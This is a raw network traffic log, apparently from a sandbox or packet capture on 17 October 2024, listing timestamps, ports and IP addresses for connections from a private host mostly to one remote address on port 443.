Oct 17, 2024 18:18:38.971462011 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.977647066 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.977663040 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.978902102 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.978907108 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.160244942 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.160319090 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.160377026 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.175224066 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.175251961 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.175281048 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.175287008 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.332300901 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.332349062 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.332454920 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.352432013 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.352480888 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.392987967 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.603411913 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.603696108 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.635940075 CEST	50658	19490	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:39.678786993 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.678809881 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.679240942 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.679246902 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.836955070 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.836991072 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.837049961 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.837085009 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.837119102 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.840720892 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.845963955 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.846097946 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.863749981 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.863773108 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.864530087 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.864537954 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.864952087 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.864986897 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.865001917 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.865009069 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.873333931 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.873351097 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.874043941 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.874049902 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.874319077 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.874350071 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.875206947 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.875219107 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.897031069 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.897080898 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.897181988 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.897458076 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:39.897475958 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:39.999830961 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.000026941 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.000092983 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.001137018 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.001162052 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.001174927 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.001182079 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.007076025 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.007116079 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.007178068 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.007802010 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.007816076 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.023736000 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.023883104 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.023930073 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.026238918 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.026262999 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.026277065 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.026282072 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.033750057 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.033824921 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.033900976 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.040817022 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.040848017 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.040865898 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.040873051 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.050147057 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.050192118 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.050411940 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.050550938 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.050561905 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.052680969 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.052690983 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.052850008 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.055143118 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.055155039 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.321569920 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.332262039 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.332303047 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.332700014 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.332710981 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.494335890 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.494369984 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.494424105 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.494477987 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.497324944 CEST	50741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.497349977 CEST	443	50741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.507755041 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.507811069 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.508008003 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.508749008 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.508768082 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.831428051 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.846008062 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.846035004 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.846473932 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.846478939 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.847325087 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.847625971 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.847645998 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:40.848057032 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:40.848062992 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.020813942 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.024344921 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.036578894 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.036658049 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.036737919 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.058238983 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.058255911 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.058752060 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.058790922 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.058844090 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.058845997 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.058964014 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.059055090 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.059060097 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.059402943 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.059425116 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.059439898 CEST	50799	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.059447050 CEST	443	50799	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.061223984 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.061230898 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.061647892 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.061650991 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.061885118 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.061902046 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.061912060 CEST	50792	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.061918974 CEST	443	50792	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.113339901 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.113395929 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.113614082 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.116673946 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.116698027 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.118009090 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.118062973 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.118129015 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.118247986 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.118259907 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.229798079 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.229871988 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.229922056 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.237725973 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.237751007 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.237766027 CEST	50813	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.237771034 CEST	443	50813	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.245115042 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.245172977 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.245233059 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.258738041 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.258769989 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.457050085 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.460299015 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.460331917 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.460751057 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.460755110 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.606820107 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.606903076 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.606992006 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.618650913 CEST	50814	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.618683100 CEST	443	50814	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.628823996 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.628995895 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.629061937 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.645109892 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.645138025 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.645153046 CEST	50861	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.645159006 CEST	443	50861	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.649452925 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.649497986 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.649555922 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.653335094 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.653381109 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.653451920 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.656063080 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.656090975 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.662949085 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:41.662978888 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:41.807745934 CEST	50658	19490	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:41.930479050 CEST	50951	80	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:42.196403980 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.198431015 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.201368093 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.298815966 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.298840046 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.299252033 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.299269915 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.299524069 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.299535990 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.299985886 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.299993038 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.300215960 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.300240040 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.300561905 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.300565958 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.468765020 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.468880892 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.469079971 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.470594883 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.470654011 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.470768929 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.472659111 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.472757101 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.472887039 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.472888947 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.472934008 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.483856916 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.483889103 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.483905077 CEST	50887	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.483911991 CEST	443	50887	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.486531019 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.486553907 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.486567020 CEST	50898	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.486573935 CEST	443	50898	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.486660004 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.486682892 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.486697912 CEST	50888	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.486702919 CEST	443	50888	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.507339001 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.507400990 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.507514954 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.520761013 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.520796061 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.524643898 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.524696112 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.524758101 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.524925947 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.524939060 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.539006948 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.539047956 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.539191008 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.549061060 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:42.549083948 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:42.641705036 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:42.641752005 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:42.641833067 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:42.642571926 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:42.642592907 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:42.970506907 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:42.976937056 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:42.977018118 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:42.977734089 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:42.982752085 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.053694963 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.053987026 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.057781935 CEST	50951	80	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:43.093794107 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.094192982 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.094217062 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.094433069 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.094459057 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.094865084 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.094877005 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.094933033 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.094944954 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.099735975 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.228630066 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.233151913 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.233247042 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.233299017 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.233458996 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.233488083 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.233555079 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.233604908 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.233604908 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.238847971 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.239768028 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.239801884 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.239820957 CEST	50930	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.239828110 CEST	443	50930	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.241481066 CEST	50931	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.241501093 CEST	443	50931	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.282211065 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.282265902 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.283696890 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.305802107 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.305846930 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.305917025 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.309811115 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.309842110 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.331058025 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.331083059 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.352296114 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.359025955 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.477854967 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.487895966 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.487911940 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.488363981 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.488368988 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.492847919 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.492862940 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.493242025 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.493268013 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.493700981 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.493706942 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.498210907 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.612453938 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.617788076 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.618520021 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.624875069 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.625190020 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.625385046 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.625405073 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.625410080 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.625816107 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.625828028 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.626276970 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.626305103 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.626317978 CEST	51036	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.626322985 CEST	443	51036	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.640075922 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.640116930 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.640269041 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.640408993 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.640420914 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.729232073 CEST	19370	51076	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:43.729320049 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.729336023 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.729414940 CEST	443	51034	13.107.246.45	192.168.2.6
